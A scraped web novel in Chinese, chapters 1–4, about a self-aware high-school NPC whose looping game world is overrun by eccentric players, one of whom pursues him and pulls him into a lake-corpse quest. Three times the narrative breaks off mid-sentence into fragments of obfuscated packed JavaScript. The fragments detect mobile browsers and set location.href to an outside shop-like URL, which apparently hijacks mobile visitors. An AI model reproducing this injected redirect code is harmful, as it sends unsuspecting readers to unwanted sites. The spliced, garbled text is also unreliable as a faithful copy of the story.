《这个世界还有正常人吗？》 1. 玩家来了 江亦穿好鞋后背着书包安静地站在门口，他抬眼看了一眼墙上的挂钟，在心里默念，三，二，一…… “糟了糟了，我忘记把小番茄放进小亦的饭盒了！”一位蓝头发的年轻女子拿着一小盒番茄追了出来，看到还站在门口的江亦时，她愣了愣。 “小亦你怎么还没走？” 江亦没接话，熟练地拿过小番茄塞进书包里，“我上学去了。” 说完他转身离开。 走过一家包子铺，江亦停下侧过身去，下一秒一个小胖子急匆匆地从他旁边跑过，一边跑一边回头冲他招手：“江亦不好意思，快迟到了，我先走了！” 江亦点点头，算是打过招呼了，他继续慢悠悠地走着，虽然还有五分钟就迟到了，但今天是周三，在门口抓迟到的教导主任会有事离开，所以不着急。 走到校门口后，江亦扫了一眼，并没有看到教导主任的影子，他嘴角微微上扬，一副果然如此的表情。 对于周三的剧情江亦早已倒背如流了，因为这已经是他度过的第108个周三，每个周三都一如既往。 大概两年前，江亦忽然觉醒了意识，发现原来自己是一款校园游戏里的npc，不止他，这个世界所有人都是。 春天的周一一定是大晴天，夏天的周一是雨天，秋季的周一会刮风，冬季的周一会下雪，如此循环反复，每个人都有自己固定的剧情路线。 就像江亦，今年已经是他读高二的第三年了，他不用担心高考的事情，因为他不会上高三，剧情设定里他在读高二，所以他只能读一辈子高二。 但他不觉得这样有什么不好，江亦喜欢这种一眼望到头的生活。 每天几点起床，几点睡觉，午饭吃什么，晚饭吃什么，周末去哪家超市买哪种东西，全都清清楚楚，完全不用动脑。 江亦收回思绪，虽然平安过了校门口这关，不过还不能放松警惕，因为教导主任会在三楼刷新，他需要从另外一栋楼绕过去。 他抬起脚准备朝A栋走去，刚迈开腿，背着后面的书包就被人狠狠扯了一下。 江亦紧紧捏着书包带子，惊疑不定地回头看，他记得剧情里没有抢劫事件发生啊！？ 一回头，一个绿毛表情单纯地扯着他的书包，那人浑身散发出的金光刺得江亦眼睛疼，像一颗行走的LED灯泡似的。 绿毛嘴里还嘀咕着：“怎么我没有初始背包？我不是氪金了吗？” 江亦还没反应过来，从另外一位突然出现一个红毛快速滑行到他身边，“我说怎么没看到背包，原来背包要从npc身上抢的吗？” 他伸出手抓住书包的另一边，绿毛不乐意了，嚷嚷道：“滚开滚开！这是我的！” 红毛也不甘示弱：“现在这个书包是我的了！” 不，这是我的。 江亦面无表情将自己的书包从两人手里抢了回来，抱在胸前。 “我去！npc居然会动手？”绿毛震惊。 “npc好感度下降了耶，难道背包不能从他身上抢？”红毛托着腮思考。 当然不能！ 江亦在心里愤怒回怼，想要书包就自己去买啊混蛋！ 面对两人疑惑地眼神，江亦抿了抿唇，实在害怕他们会继续抢自己的书包，他开口提醒道：“学校里的商店有书包卖。” 两人恍然大悟，欢欢喜喜地结伴离开。 江亦站在原地看着他们远去的背影，脑子乱糟糟的，居然剧本出了差错，他觉醒两年了，这个世界一直在循环，从未出现过这种情况。 一想到自己平淡的生活可能即将被打破，江亦就烦躁地紧蹙眉头。 “那位同学！都上课了你怎么还站在这里？你哪个班的？”教导主任怒吼一声朝江亦跑来。 被当场逮住的江亦：“……” 该死的玩家。 江亦被教导主任逮住训了十分钟，等进教室的时候，第一节课已经上了一半。 他低着头从后门溜进去，刚坐下，前面的男生就扭过头来，压低声音问：“你今天怎么迟到了？” 江亦看了他一眼，是班长，在剧情里每周三江亦一迟到他都会问他这句话，然后借他抄笔记。 果然，老吴从桌肚里掏出笔记本递过来：“喏，笔记借你抄，下次早点。” 江亦伸手去接，余光却瞥见教室后排有几个脑袋五颜六色，身穿奇装异服的人，他动作顿了顿。 “哦对，今天来了几个转学生，”班长顺着他的目光看过去，“教务处直接塞进来的，以后就是我们的同班同学了。” 转学生……？ 江亦想起早上那两个抢他书包的傻缺，心里涌上一股不好的预感。 他翻开笔记本，假装低头抄笔记，实际上偷偷往后排瞄。 一，二，三……一共五个人。 一个头发是银白色的，过于长的斜刘海遮住了半边脸，露出的一只眼睛下面画着一道黑色的闪电。 一个是秃驴，秃驴头上纹着一把刀，上半身啥也没穿，就这样肌肉鼓鼓囊囊地坐在后面。 还有一个黄毛，一个紫毛，以及最后一个…… 江亦的目光落在靠窗的最后一排。 那个人没染那种夸张的颜色，就是普通的黑发，他懒散地靠在椅背上，手撑着下巴望向窗外，好像对课堂内容毫无兴趣。 阳光打在他侧脸上，轮廓很深，眉眼看起来比周围那些花花绿绿的家伙正常得多。 但江亦总觉得有哪里不对，他盯着那人看了三秒，那人忽然转过头来。 两人四目相对。 江亦来不及收回视线，就见那人嘴角一勾，冲他眨了眨眼睛，站起身朝他走了过来。 江亦：“……？” 他抬头看了一眼还在讲台上激情演讲的语文老师，又看了看四周。 老师和同学们对这个在教室乱走的人一点反应都没有，就好像这个人不存在一样。 “你好！”那个黑发的转学生不知道什么时候站到了他桌前，正居高临下地看着他。 走近了江亦才看清，这人长得确实挺好看的，眉眼深邃，鼻梁高挺，就是那双眼睛过于专注地看着自己，让人有点不舒服。 江亦没说话，沉默地看向他。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244909|197852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那人有些疑惑地歪头，自言自语道：“npc江亦？npc的建模这么顶的吗？” NPC两个字像一根刺，精准地扎进江亦耳朵里，他瞳孔几不可察地缩了缩。 果然是玩家。 陆晏似乎没注意到他的异样，自顾自地说：“这个角度好看……截个图……这游戏截图键是哪个来着？找到了！” 话落，陆晏抬手在空中点了一下，随后江亦感觉自己的眼睛被闪光灯刺了一下。 “怎么闭眼了？再拍一张好了……” 江亦又被闪了一下。 “这张好看，冷脸小猫萌萌萌！”陆晏眼睛一直看着天花板，兴奋地说道。 拍完后，陆晏弯下腰凑近了些，他眼睛亮亮地盯着江亦看。 他身上有股很淡的香味，不像香水，倒像是洗衣液的味道，江亦下意识往后仰了仰，眉头皱起来。 “你头上有个东西，”陆晏忽然说，然后伸手在他发顶虚虚一抓，收回手时，掌心摊开，里面空无一物，“好了，我帮你拿掉了。” 江亦：“……” 这是什么土掉渣的搭讪方式？ 他冷脸地看着陆晏，陆晏也看着他，眼睛饱含期待，好像在等什么反应。 “你有病？”江亦真诚地问。 陆晏愣了一下，然后笑起来，笑得还挺开心的样子。 “这么凶啊？”他直起身，双手插兜，“你是第一个见面就骂我的NPC，原来是刻薄人设吗？没事，我可以是m！” 陆晏说完那句话后，教室里陷入了一种诡异的安静。 江亦表情复杂地看着眼前这个自称“可以是m”的奇怪玩家，大脑飞速运转。 这是什么新型骚扰方式吗？ 他低头看了一眼自己手里的笔记本，又抬头看了看还站在桌边等回应的陆晏，决定采用一贯的策略——无视大法。 江亦收回视线，翻开班长的笔记本，开始认真地抄起笔记来。 陆晏他眨了眨眼，又凑近了些：“喂，怎么不理我了？” 江亦笔尖不停，连眼皮都没抬一下。 “奇怪，”陆晏摸着下巴自言自语，“刚才明明有互动的啊，难道是一天只能对话一次？还是说好感度不够？” 他站在原地思考了两秒，然后像是想通了什么似的，点点头，转身回了自己的座位。 江亦余光瞥见他离开，心里微微松了口气，看来这个玩家还不算太难缠。 然而这口气还没松完，他就感觉到一道视线黏在自己后背上，如影随形，盯得他浑身发毛，总感觉后背发凉。 江亦微微侧头，余光扫到后排，那个黑发的转学生正撑着下巴，笑眯眯地看着他的方向，见他看过来，还冲他挥了挥手。 江亦装作没看见，表情平静地转了回去。 接下来的一节课，江亦如坐针毡。 不管他在做什么，低头记笔记，抬头看黑板，翻书拿笔，那道视线都牢牢锁定在他身上，仿佛他是教室里唯一的活物。 下课铃一响，江亦还没来得及起身，那个身影就已经出现在他桌边。 2. 玩家陆晏 江亦的动作顿住，手里握着笔，僵硬地维持着抄笔记的姿势。 “江亦同学！”陆晏在他桌边蹲下来，仰着头笑眯眯地看他。 江亦根本不理他，他抄完笔记后从书包里拿出那盒小番茄开始吃了起来。 按照剧情设定他应该先吃饭再吃小番茄，但偶尔江亦也会小小的叛逆一下。 江亦一边吃一边整理思绪，突然，手里拿着的那半颗小番茄被人抢走。 他迟疑地低头望去，只见陆晏嘴里正嚼着什么东西，见他看过来，陆晏歪了歪头，又从饭盒里拿了两三颗丢进嘴里。 “这番茄居然才加一点体能，这么少。”陆晏小声吐槽，“我明明什么都没干，为什么体力掉得这么快？” 看着空空如也的饭盒，江亦沉默了。 “……” ［npc江亦好感度-10］ ［npc江亦感到不安。］ 看到系统提示音的陆晏从床上弹起，不是吧，这居然还会降好感度？？不能抢npc东西啊？！ 陆晏急忙操控着小人把番茄吐出来还给江亦。 江亦冷眼看着眼前这坨红色呕吐物，愈发沉默了。 ［npc江亦好感度-15］ ［npc江亦感到恶心。］ 拿也不行，还给你也不行？陆晏挑了挑眉，用手指戳了戳屏幕上那个唇红齿白的小人。 屏幕内，江亦浑然不知自己在屏幕外被人欺负了，他默默推开陆晏伸来的手，然后紧紧抓着书包里的饭盒。 那可是他的午饭，不能被抢。 好在陆晏不知道为什么突然跑开了，江亦刚松了一口气，转眼就看到陆晏跑到垃圾桶旁边。 江亦心里隐隐感觉不对劲，他警惕地看着站在垃圾桶旁边的陆晏。 下一秒，他就看到陆晏一把将垃圾桶的盖子掀翻，并且伸手进去掏。 “……？”江亦目瞪口呆地看着，他用力眨了眨眼，怀疑自己眼睛是不是出毛病了。 然而更荒谬的还在后头。 陆晏捧着从垃圾桶里翻到一块沾满不明液体的面包递给江亦，“这个送你，你别生我气了。” “……你，你神经病啊？”江亦磕磕绊绊地问，他的身子往后倒，试图和陆晏拉开距离。 陆晏丝毫没有在意，他挠了挠头，不解地问：“不喜欢面包？那你喜欢什么？” “……反正不喜欢从垃圾桶里掏的。”江亦用一种看怪物一样的眼神看着他。 “好吧。”陆晏把面包丢进嘴里，含糊不清地说，“原来还是个洁癖啊。” “！！！” 见状，江亦的眼神从愤怒，变成了惶恐，最后又变成了怜悯。 他张了张嘴，犹豫了好久，最后从书包里将饭盒拿出来，将饭盒递给陆晏，“这个给你吃吧，以后别捡垃圾桶里的东西了，对身体不好。” 陆晏没接，他好笑地反问：“那你吃什么？” npc又不会饿，江亦在心里接话道，不仅不会饿，他也尝不出食物的味道，他吃饭，只是因为剧情需要他吃饭而已。 江亦把饭盒塞进他手里，不容拒绝地开口：“吃。” “谢主隆恩！”陆晏将饭盒举过头顶，单膝跪地大喊道。 江亦慌乱地往四周看去，但周围的同学似乎完全把陆晏当透明人一样，自始至终都没有任何反应。 只有自己会觉得奇怪，江亦想，因为这个世界是假的，只有他是真的，他看向还跪在地上的陆晏，这个人是有病的。 陆晏维持着这个夸张的姿势等了几分钟，见江亦一点反应都没有，他又灰溜溜地起身拍了拍膝盖，捧着饭盒回自己的座位了。 后面那几个花花绿绿的人凑了过来。 “老兄，你哪里来的食物啊？”秃驴好奇地问。 陆晏夹起半块鸡蛋在秃驴面前晃了晃，表情得意道：“魅力太大了，就算在游戏里也被npc追着送饭，真是苦恼。” “哪个npc啊？”紫毛望向前排，“是那个黑头发小白脸吗？刚才看你一直逗人家来着。” 陆晏没回答，只是眯着眼睛笑得十分浪荡。 江亦趴在桌上，把脸埋进手臂里，实际正用余光偷偷观察后排那群人。 那个黑发的玩家正大口大口地吃着他的午饭，吃相还挺香，就是时不时跟旁边那几个杀马特嘀嘀咕咕，不知道在说什么。 江亦收回视线，心里默默叹气，他只想过平静的生活，每天重复同样的剧情，不用动脑，不用操心，多好。 现在倒好，突然冒出来一群玩家，尤其是那个神经病黑毛，江亦总觉得自己的安稳日子要到头了。 上午第三节课是数学。 江亦努力集中精神听课，虽然这些内容他听了上百遍，早就倒背如流，但为了维持正常NPC的人设，该做的样子还是要做。 那道黏在后背上的视线依旧存在感强得让人无法忽视。 忍了半节课，江亦终于忍不住回头，他在纸上画了一双眼睛，冷着脸当着陆晏的面用笔戳进眼睛里。 目睹一切的陆晏顿时笑出了声，他低头在纸上画着什么，过了几分钟，他把纸竖起来给江亦看。 纸上一个小人把一只张牙舞爪的小猫抱在怀里亲亲。 江亦迅速转回去。 这人到底有什么毛病？？他气得又狠狠戳了一下纸上的眼睛。 陆晏靠在椅背上，目光锁定前排那个端正坐着的背影，嘴角忍不住往上翘。 从这个角度看，江亦的后颈线条很好看，低头写字时露出的一小截白皙皮肤，认真记笔记时微微颤动的睫毛，偶尔因为阳光刺眼眯起来的眼睛。 好可爱。 陆晏托着下巴，越看越觉得这个NPC顺眼，得想办法把人给攻略了。 他没玩过攻略游戏，但也知道一点玩法，想攻略npc无非就是对话和送礼，对话今天已经进行很多次了，可以考虑一下送礼，陆晏盯着江亦的背影思考。 回想刚才和江亦的互动，他给了番茄，好感度降了，但是明明番茄江亦自己也吃，为什么他还回去好感度就下降了呢？他不懂。 也送了面包，好感度也没涨，还被骂了，目前送的两样东西江亦都不喜欢。 陆晏打开系统界面查看了一下。 ［NPC：江亦］ ［当前好感度：-30］ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244910|197852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ［喜欢的礼物：/］ ［厌恶的礼物：吐出来的番茄，垃圾桶捡的面包。］ 陆晏：“……” 负三十？？？不是一共才降了二十五吗？为什么是负三十？初始好感度不会是负五吧？ 他嘴角抽了抽，又看了一眼系统里那个过分漂亮的小人图标，默默关掉界面。 没事，负的也能刷成正的，他玩游戏还从来没失败过。 ** 放学后，江亦收拾好东西准备离开学校，他今天需要在回家的路上给妈妈带一瓶酱油，他每周三都会带一瓶酱油。 但今天江亦有点担心这瓶酱油没办法顺利带回家。 果不其然，在校门口被一群奇形怪状的人拦住时，江亦一点意外都没有。 “确定是他吗？” “肯定是啊！建模这么好看怎么可能是普通npc，肯定是触发任务的关键人物！” 我不是。 你们玩家玩游戏是看脸判定重要性的吗？？江亦心里有些崩溃，他假装目光呆滞地走出校门，试图扮演一个无辜普通的npc。 但可惜没有人能读懂他的隐晦，一群人迅速将他围在中间。 “你好同学？”一个穿着粉色hello kitty比基尼的壮汉扯着僵硬的嘴角和他打招呼。 江亦表情龟裂了一秒，随后又迅速调整好表情，目光持续呆滞地朝前走。 “奇怪，”壮汉挠挠头，回头看向同伴，“他怎么不理我？” “你是不是没点对话？”旁边的马杀特凑了上来，伸手在江亦眼前晃了晃，“哈喽哈喽？能听到吗？” 江亦的眼珠都没转一下。 “该不会是个装饰性NPC吧？”另外一个黑人爆炸头摸着下巴思索，“就是那种只能看不能互动的？” 几个人七嘴八舌地讨论起来，江亦维持着呆滞的表情，大步流星地走着。 那几人见怎么努力都撬不开江亦的嘴，只能失望离去。 江亦紧绷着的神经稍微放松了一点，他一路平安地走到超市，在超市门口看到陆晏时，他悬着的心终于是死了。 “好巧啊江亦同学！”陆晏眼睛瞬间亮起，他热情地和江亦打着招呼。 江亦目不斜视地走进超市。 被无视了陆晏也不生气，依旧乐呵呵地跟在他身后，一边走一边四处张望，像个第一次逛超市一样。 他拿起一包薯片凑到江亦面前，“你喜欢这个吗？哥氪金给你买如何？” 江亦瞥了一眼，番茄味的，喜欢。 但他现在的人设是当日对话已达上限的npc，只能忍痛装作没听到，他径直走到调料区，拿了一瓶酱油，然后去收银台结账。 “一共十二块五。”收银员阿姨笑着说。 江亦掏出一张二十的纸币递过去，接过找零和酱油，转身离开。 整个过程行云流水，就像他做过很多次那样自然。 陆晏紧跟其后追了上来，“你现在要回家了吗？我还没见过你家呢，刚好一起去看看吧。” “……” 江亦停了下来，他面无表情地转头，对着陆晏抬手做了一个驱赶的动作。 3. 原来是游戏上线了 陆晏非但没退，反而往前凑了凑，“解锁新动作了？这个动作也好可爱，能再做一次？这个要怎么触发啊？” 江亦深吸一口气，忍住了想翻白眼的冲动，他转过身继续往家走。 “你家住在哪个小区？离学校远不远？平时放学都走这条路吗？你喜欢吃什么？周末一般干什么？”陆晏跟在他身后，一路絮絮叨叨。 江亦充耳不闻，脚步加快，他家离超市不远，十分钟就走到了。 快到小区门口时，一个拎着菜篮子的老太太迎面走来，看到江亦时露出慈祥的笑容：“小亦放学啦？今天怎么这么晚？” 这是住在他家楼下的王奶奶，每周三下午五点四十三分，她会准时出现在小区门口买菜回来，然后问他这句话，江亦已经听过一百多次了。 “嗯，去超市帮妈妈买瓶酱油。”江亦按照往常一样回答。 “真是乖孩子，来，奶奶奖励你一颗糖。”王奶奶笑容和蔼地举着糖。 “谢谢奶奶。”江亦接过糖乖巧地笑了笑。 “哎？好感度不够不能进入npc的家？！”身后传来陆晏惊讶的声音，“我都还没到他家呢，这不是在小区里吗？凭啥不让我进啊？？” 江亦回头看去，便看见陆晏站在离他十米远的地方，他正使劲朝前走，但仿佛被一堵墙挡住了一样，怎么都走不过来。 这游戏制作人总算做了一件好事，江亦嘴角勾了勾，心情很好地回到家中。 晚上，江亦躺在床上回想今天发生的所有事情，越想越觉得心烦，他翻了个身，在心里思考怎么把玩家们赶走。 明明前面几年都没有玩家出现过，怎么今天突然涌进这么多玩家？江亦想不通。 希望明天一起床发现玩家们都离开了，他闭上眼睛前虔诚地祈祷道。 江亦的祈祷显然没有生效。 第二天早上他刚推开单元门，就看到陆晏蹲在花坛边上，手里拿着一根树枝戳蚂蚁玩。 听到动静，那人立刻抬起头，脸上绽放出一个灿烂的笑容，“早上好啊江亦同学！” 江亦脚步顿了顿，垮着个脸地从他身边走过。 陆晏跟上来，也不在意他的冷淡，自顾自地说：“这个游戏前期可玩的东西太少了，我昨晚逛了一圈都没触发剧情任务，只好又回来骚扰你了。” 他一边说一边翻开江亦的书包，“有吃的吗？我体力快掉光了，翻了好几个垃圾桶都没有找到吃的，看来今天是霉运天。” “……没有。” 这群吊毛到底为什么这么爱抢他书包？！江亦一把夺回自己的书包，瞪了陆晏一眼。 “施舍一口呗江亦同学。”陆晏双手合十，用祈求的目光盯着江亦。 施舍不了一点，江亦叹气，今天周四，他妈妈只有一三五才做便当。 但他看着陆晏那副再不吃东西就要死的表情，鬼使神差地摸了摸兜。 昨天王奶奶给的糖还在，他犹豫了一秒，递了过去。 “什么东西？一颗神秘的糖果……吃下去有概率永久增加生命值？”陆晏眼睛亮晶晶地抬头，“江亦同学，没想到你居然对我这么好！” “……”不，这是误会。 江亦也有些震惊，在他眼里这不过是一颗普通到不能再普通的糖果了，没想到这糖还有对玩家还有这种功效。 吃完糖果，陆晏快要空掉的体力值恢复了一半，半血复活的陆晏又接着叽叽喳喳地跟在江亦后头，吵得江亦都有点想直接把手伸进他嗓子眼里把糖扣出来。 江亦被一路纠缠到了学校，直到上课才得以清静一下，但也只有上课的时候，这整个上午，陆晏都像块牛皮糖一样黏在他的身边。 上课的时候坐在后排盯着他看，下课的时候第一时间出现在他桌边，连他去上厕所，陆晏都跟在后面，被挡在厕所门口进不去才作罢。 “剧情没触发无法进入？？”陆晏站在男厕所门口，一脸不可思议，“上个厕所还要触发剧情？有没有天理啊？请策划无偿归还我们玩家上厕所自由！！” 江亦从厕所出来，就看到他蹲在门口，一脸郁闷。 看到江亦出来，陆晏立刻站起来，又恢复了那副笑眯眯的样子，“走吧，回教室。” 江亦沉默地走在他旁边，心里盘算着怎么才能把这个牛皮糖甩掉。 上午最后一节课是体育课，江亦换好运动服来到操场，发现今天操场上的玩家格外多。 粗略数了数，至少有二三十个，五颜六色的头发在阳光下格外扎眼。 他们三三两两地聚在一起，有的在翻垃圾桶，有的在跟其他NPC搭话，还有几个趴在操场边上，好像在观察什么。 “这游戏预热这么久，结果上线两天才这么点人。”陆晏在旁边吐槽。 游戏上线？ 江亦心里一动。 所以这些年一直没有玩家出现，是因为游戏还没上线？ 他还以为玩家涌入是因为游戏出了什么bug，没想到是因为游戏正式上线了。 那岂不是说，以后每天都会有这么多玩家。 他的平静生活……毁了……全毁了…… 正想着，一个顶着七彩刺猬头的男生跑过来，拍了拍陆晏的肩膀问：“兄弟，你找到触发任务的方法没？我转了半天，一个任务都没接到。” 陆晏摇摇头：“没有，这游戏的任务触发条件好像挺苛刻的。” “那你怎么一直跟着那个NPC？”七彩刺猬头看向江亦，“他有什么特别吗？我看论坛他好像不怎么理人。” “他好看啊，我就乐意舔好看的人。”陆晏理直气壮。 七彩刺猬头：“……” 江亦：“……” 七彩刺猬头上下打量了江亦几眼，点点头，“确实好看，你真的一点消息都没有打探到吗？一般这种建模应该不会是普通npc吧？” 这种想法不止刺猬头一个人有，其他玩家显然也是这么想的，江亦站在这里五分钟，身边已经围满了人。 玩家们尝试了不同的方法和他对话，有戳戳他脸的，有拍拍他肩膀的，江亦被围在中间仿佛一团面团，任人揉捏。 被烦得没招的江亦很努力地在脑子里搜刮有用的信息，忽然，他灵光一闪。 “人工湖里好像有什么，但水太深了，或许我们可以尝试用鱼钩把它钓上来。” 这是经常在周一时坐在人工湖边看书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244911|197852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一个女生说的，江亦每次路过那里都能听到她说这句话。 但他是npc，他的设定里没有探索人工湖的剧情，甚至连和那个女生进行对话都不能，所以他一直不知道那湖里到底有什么。 此话一出，几乎所有玩家都沸腾了，他们进入游戏两天了，到处碰壁，一个剧情都触发不了，现在终于触发了。 “玩家已解锁剧情湖底的秘密，请在一周内查清真相……”陆晏抬手在空中点了点。 其他玩家应该也收到了类似的信息，操场上的玩家瞬间动了起来，纷纷往人工湖的方向涌去。 “江亦同学，我去做任务了，完成任务再回来找你玩哦~”陆晏临走前还给了江亦一个飞吻。 “……神经病。”江亦小声骂了一句，看着那群人远去，心里悄悄松了口气。 这下能清静一周了。 他转身走向操场，准备好好上一节没有骚扰的体育课。 下午放学的时候，他特意绕到人工湖那边看了一眼。 人工湖边上，密密麻麻坐了几十个玩家，每人手里拿着一根鱼竿，齐刷刷地盯着湖面。 那画面诡异得像是什么邪教集会。 陆晏坐在最前排的位置，看到江亦路过，还兴奋地朝他挥了挥手里的鱼竿，跟他报告进度：“江亦同学！我们钓了一下午了！什么都没钓到！” ……哦。 那你们很倒霉了。 江亦点了点头，什么都没说，默默离开了。 第二天早上，江亦去上学的时候，发现人工湖边的玩家更多了。 粗略数了数，至少五六十个。 有些人甚至带来了帐篷和睡袋，一副准备打持久战的样子。 陆晏还在最前排，他的黑眼圈重得吓人，但眼睛依旧亮得惊人。 “江亦同学！我们钓了一天一夜了！依旧什么都没有钓到！” 江亦脚步顿了顿，表情复杂地看着他：“……你一直没睡？” “没有啊，一到凌晨就自动晕过去了，然后早上六点才自动醒过来。”陆晏笑得像个二傻子一样。 江亦嘴角抽了抽，欲言又止了半天，最后什么都没说，继续往教室走。 中午午休的时候，他又去湖边看了一眼。 人更多了。 下午放学的时候，人还在。 第二天，还在。 第三天，还在。 江亦站在教学楼的走廊上，远远望着人工湖边那群执着的身影，心情复杂到了极点。 他只是随口说了一句话，想把玩家支走而已，湖里有没有东西他也不知道，不过那湖总是清澈见底的，压根就没见过湖底有什么东西。 没想到玩家会因为他一句话在那里熬了三天三夜，江亦难得有些愧疚了。 第四天早上，江亦照常来到教室，他正思考要不要和玩家们解释一下人工湖的事情时，一个黑影就冲到他桌前。 江亦抬头，对上了陆晏那张疲惫但兴奋的脸。 “钓到了！”陆晏的声音沙哑，但语气里是压不住的激动，“我们钓到了！” 还真有东西？江亦好奇地问：“是什么？” “一条腿。” 4. 一条腿（修） 什么东西？？ 一条……腿？！！ 江亦的脑子彻底死机，他一时间竟分不清是自己耳朵出了问题，还是陆晏又在逗他。 “腿？”他重复了一遍，试图确认自己没听错。 “腿。”陆晏表情十分认真点头，那双熬了几天几夜的眼睛里闪烁着诡异的光芒，“一条人腿，泡得发白的那种。” 江亦震惊地张大嘴巴，半天都缓不过神了。 他往窗外看了一眼，人工湖边的人群比昨天更壮观了，密密麻麻围了好几圈，像一群发现了腐肉的秃鹫。 “然后呢？”他问。 陆晏在他桌边蹲下来，仰着头看他，语气里带着点邀功的意味：“然后任务更新了，让我们把腿捞上来送去医务室，但是那条腿卡在淤泥里拽不动，系统提示说需要专业工具或者特定npc协助。” 江亦心里涌上一股不好的预感，他假装迷茫道：“什么系统？什么npc？” “不用在意这些小细节。”陆晏吊儿郎当地将脸贴在江亦的大腿上，继续把刚才的事情说完。 “我们在学校找了好几个人来试，”他一边说一边眼神开始往江亦身上飘，“体育老师不行，校工也不行，保安也不行。” 不管是谁来，系统一直提示当前npc无法触发该剧情，陆晏在心里补充。 江亦装出一副完全没听懂他暗示的样子，低头翻出课本，准备早读。 陆晏也不急，就那么蹲在他桌边，下巴搁在他腿上，眼睛一眨不眨地盯着他。 那姿势像极了一只等投喂的大型犬。 江亦被他盯得浑身不自在，手里的书翻了两页又合上，皱着眉问：“你看我干什么？” “我在想，”陆晏慢悠悠地说，“这么多人都不行，会不会是因为我们找的顺序不对？也许系统想让我们找的，是第一个提供线索的人？” 江亦翻书的动作顿住，他提示道：“那应该是在湖边看书的女生，我是听她说的。” “她也不行，试过了。”陆晏摇了摇头。 江亦不说话了。 陆晏也不说话，就那么看着他，眼神无辜又诚恳。 早读铃响了，语文课代表开始领读课文，教室里响起一片参差不齐的读书声，陆晏还蹲在那里，像一尊雕塑，丝毫没有回座位的打算。 江亦被他看得心烦意乱，终于在课代表读到第三段的时候败下阵来。 “我不会游泳。”他说。 陆晏眼睛一亮，“不用游泳，就在岸边拽一下就行。” “我力气很小。” “那个腿不重，就是不知道为什么扒不出来。” “我……”江亦还想找借口，但看着陆晏那双亮得惊人的眼睛，忽然觉得自己说什么都没用。 因为这人根本不会听。 他叹了口气，合上课本站起来，陆晏立刻跟着站起来，脸上绽开一个大大的笑容：“你答应了？” “我去看看。”江亦纠正道，“只是看看。” “好好好，看看，看看。”陆晏连连点头，那副顺从的样子让江亦愈发觉得自己上了贼船。 两人一前一后走出教室，早读的老师看了陆晏一眼，什么都没说，继续低头看自己的教案。 但看到江亦也跟在身后时，她板着脸问：“早读时间你干什么去？” “……” 江亦已经习惯了这种诡异的现象，玩家们在这个世界里就像透明人，除了自己，其他npc都感知不到他们的存在。 “去厕所。”他解释道。 那老师闻言挥了挥手，“去吧。” 两人走到楼梯口的时候，江亦忽然停下来，他转过身，盯着陆晏的眼睛问：“那个湖里，真的有一条腿？人类的腿？你确定是人腿吗？” 陆晏愣了愣，然后笑了：“你怕我骗你？” 江亦没说话，他确实不太信任这个看起来很不靠谱的人。 “真的有，”陆晏抬手在空中点了点，他眼睛盯着某处，低声道，“这任务描述写着呢，在人工湖底发现疑似人体残骸，请将其打捞上岸，都人体残骸了，肯定是人腿吧。” 江亦盯着那片虚空看了几秒，什么都看不到，他收回视线，继续往楼下走。 人工湖边比前两天更热闹了，几十个玩家围在岸边，手里拿着各种各样的工具——鱼竿，网兜，甚至有人不知道从哪儿搞来了一根长长的竹竿。 有五个杀马特蹲在最前面，秃驴正试图用手去够水面，被旁边的紫毛拽了回来，“小心点，别掉下去。” “掉下去会怎样？” “不知道，但我不想试。” 看到陆晏带着江亦过来，人群自动让开一条路，江亦走到湖边，往水里看了一眼。 湖水清澈见底，能清楚地看到水底的鹅卵石和水草，在靠近湖心的地方，确实有一团灰白色的东西半埋在淤泥里，形状…… 江亦眯起眼睛仔细看了看，胃里忽然有点翻涌。 真的是一条人腿。 “看到了吧？”陆晏在旁边说，“就那个，我们死活都拽不动。” 江亦深吸一口气，努力让自己的表情保持平静：“这泥看起来不深，你们找了很多人都拔不出来？” “对啊，真是奇怪”红毛插嘴道，“我F键都快按烂了它依然纹丝不动。” 江亦没再问，他在湖边蹲下来，伸手试了试水温，四月的湖水还有些凉凉的。 “你干什么？”陆晏跟着蹲下来，眼里闪过一丝紧张。 “看看能不能够到。”江亦盯着湖面。 陆晏愣了一下，然后伸手拽住他的胳膊：“别，万一你掉下去怎么办？” “……那你让我来干什么？”江亦无语地看了他一眼。 陆晏讪讪地松开手，但没完全松开，就那么虚虚地圈着他的手腕，一副随时准备把他拉回来的架势。 江亦没理他，继续往前探了探身子，手指触到水面的时候，他忽然感觉到一阵轻微的震动，像是有什么东西在湖底动了一下。 他被吓了一跳，猛地缩回手。 “怎么了？”陆晏立刻紧张起来。 江亦盯着水面，那团灰白色的东西还在原地，纹丝不动。 “没事，”他站起来，甩了甩手上的水，“我去找根长点的棍子。” “我去我去，”秃驴立刻跳起来，“我知道哪儿有！” 